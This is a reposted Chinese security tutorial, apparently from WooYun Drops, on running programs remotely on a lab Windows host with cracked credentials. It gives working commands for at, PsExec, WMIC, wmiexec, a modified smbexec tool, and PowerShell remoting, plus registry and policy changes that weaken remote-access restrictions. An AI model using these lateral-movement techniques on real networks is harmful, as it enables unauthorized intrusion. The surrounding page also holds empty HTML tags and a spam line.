<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/7358

                    0x00 前言


                    上一篇學習了如何導出域內所有用戶hash,那么,接下來準備用破解出的用戶名口令嘗試遠程登陸目標主機并執行程序,結合實際環境做了如下測試.

                    0x01 目標


                    遠程登陸目標主機執行測試程序

                    0x02 測試環境


                    遠程主機:

                    ip:192.168.40.137   
                    用戶名:test
                    口令:testtest
                    操作系統:win7 x64
                    

                    遠程登陸方式:

                    net use遠程登陸,不使用3389
                    

                    Tips:

                    解決工作組環境無法遠程登陸執行程序的方法:

                    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called “LocalAccountTokenFilterPolicy” and set it to 1

                    0x03 測試方法


                    1、at&schtasks

                    計劃任務方式執行程序。

                    條件:

                    啟動Task Scheduler服務  
                    

                    2、psexec

                    PsTools工具之一,在指定的一臺或多臺計算機上運行應用程序

                    條件:

                    需要開放ADMIN$共享
                    

                    3、WMIC

                    功能強大,可做系統管理、遠程主機信息獲取

                    條件:

                    啟動WMI服務,開放135端口
                    本地安全策略的“網絡訪問: 本地帳戶的共享和安全模式”應設為“經典-本地用戶以自己的身份驗證”
                    

                    4、wmiexec

                    使用VBS腳本調用WMI來模擬psexec的功能,基本上psexec能用的地方,這個腳本也能夠使用。

                    條件:

                    啟動WMI服務,開放135端口
                    本地安全策略的“網絡訪問: 本地帳戶的共享和安全模式”應設為“經典-本地用戶以自己的身份驗證”
                    

                    0x04 實際測試


                    使用用戶名口令遠程登陸192.168.40.137,如圖1

                    這里寫圖片描述

                    查看目標主機共享資源,如圖1-2

                    這里寫圖片描述

                    1、at&schtasks

                    at \\192.168.40.137
                    

                    找不到網絡路徑,判斷是目標主機已禁用Task Scheduler服務

                    如圖2

                    這里寫圖片描述

                    2、psexec

                    PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe
                    

                    找不到網絡名,判斷目標主機已禁用ADMIN$共享

                    如圖3

                    這里寫圖片描述

                    3、WMIC

                    wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe
                    

                    Description = 無法啟動服務,原因可能是已被禁用或與其相關聯的設備沒有啟動,判斷WMI服務被禁用

                    如圖4

                    這里寫圖片描述

                    4、wmiexec

                    cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"
                    

                    WMIEXEC ERROR: 無法啟動服務,原因可能是已被禁用或與其相關聯的設備沒有啟動,判斷WMI服務被禁用

                    如圖5

                    這里寫圖片描述

                    0x05 分析


                    整理下目前掌握的目標主機信息:

                    目標主機:

                    1、已獲得登陸用戶名及口令
                    2、可以net use連接
                    3、開放共享C
                    

                    但是:

                    1、默認admin$共享關閉,無法使用psexec
                    2、Task scheduler關閉,無法使用at、schtasks
                    3、Windows Management Instrumentation服務關閉,關閉135端口無法使用wmic、wmiexec
                    4、不支持3389
                    

                    那么,如何在目標主機遠程執行程序?

                    猜測管理員應該是對常用的遠程執行程序的方法做了限制,就在一籌莫展的時候突然想到了smbexec,它是基于psexec,如果目標主機開放了其他默認共享,倒是可以嘗試smbexec

                    于是搜索smbexec,終于在GitHub上面找到了一個smbexec的c++參考資料,作為工具改進模版

                    模版下載地址:

                    https://github.com/sunorr/smbexec

                    0x06 改進方案


                    模版中的bug不細講,最終我成功用vc6實現了psexec的功能,同時也做了一些改進:

                    1、可指定默認共享名

                    為了完成上述測試,加入了參數來指定默認共享,如果ADMIN$共享關閉,那么可以嘗試其他磁盤的默認共享

                    2、分離安裝服務的功能

                    在實際測試過程中,如果ADMIN$共享關閉,c$共享開啟,因為UAC的緣故,注冊安裝服務的功能會出現bug,采取的解決辦法為將實現注冊安裝服務功能的exe單獨上傳至c:\windows下, 即可解決權限不夠的問題

                    0x07 方案測試


                    1、工具說明

                    文件說明:

                    test.exe:主程序
                    execserver.exe:實現注冊安裝服務的輔助程序
                    

                    參數說明:

                    test.exe ip user password command netshare
                    

                    eg:

                    test.exe 192.168.40.137 test testtest whoami c$
                    

                    2、使用流程

                    (1)上傳execserver.exe至c:\windows

                    copy execserver.exe \\192.168.40.137\c$\windows
                    

                    (2)遠程執行

                    test.exe 192.168.40.137 test testtest whoami c$
                    

                    如圖6

                    這里寫圖片描述

                    最終我們通過改造的smbexec,突破目標主機限制,成功遠程執行程序。

                    程序源碼下載鏈接:

                    smbexec_source.zip

                    0x08 補充


                    1、powershell remoting

                    實現在目標主機遠程執行程序后,可對目標主機開放powershell remoting,用作遠程連接

                    條件:

                    遠程連接會有痕跡
                    本機要開啟winRM服務
                    

                    命令匯總:

                    列出所有遠程信任主機

                    powershell Get-Item WSMan:\localhost\Client\TrustedHosts
                    

                    設置信任所有主機

                    powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force 
                    

                    設置允許運行ps1文件

                    powershell Set-ExecutionPolicy Unrestricted 
                    

                    執行test.ps1文件

                    powershell -ExecutionPolicy Bypass -File test.ps1 
                    

                    ps1文件如下:

                    $UserName = "test" 
                    $serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)  
                    invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }
                    

                    2、python smbexec

                    隨后用python寫的smbexec也實現了相同的功能,但py2exe的時候遇到了大麻煩,如果有更簡單的方法, 希望能得到你的幫助。

                    0x09 小結


                    這篇文章共列舉了六種遠程執行程序的方法,如果已經成功登陸目標主機,卻無法執行程序,最心塞的事情莫過于此。

                    at 
                    psexec 
                    WMIC 
                    wmiexec 
                    smbexec 
                    powershell remoting
                    ...
                    

                    獲得用戶名口令,實現遠程執行程序僅僅是個開始,內網滲透會很有趣。

                    水平有限,歡迎補充。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频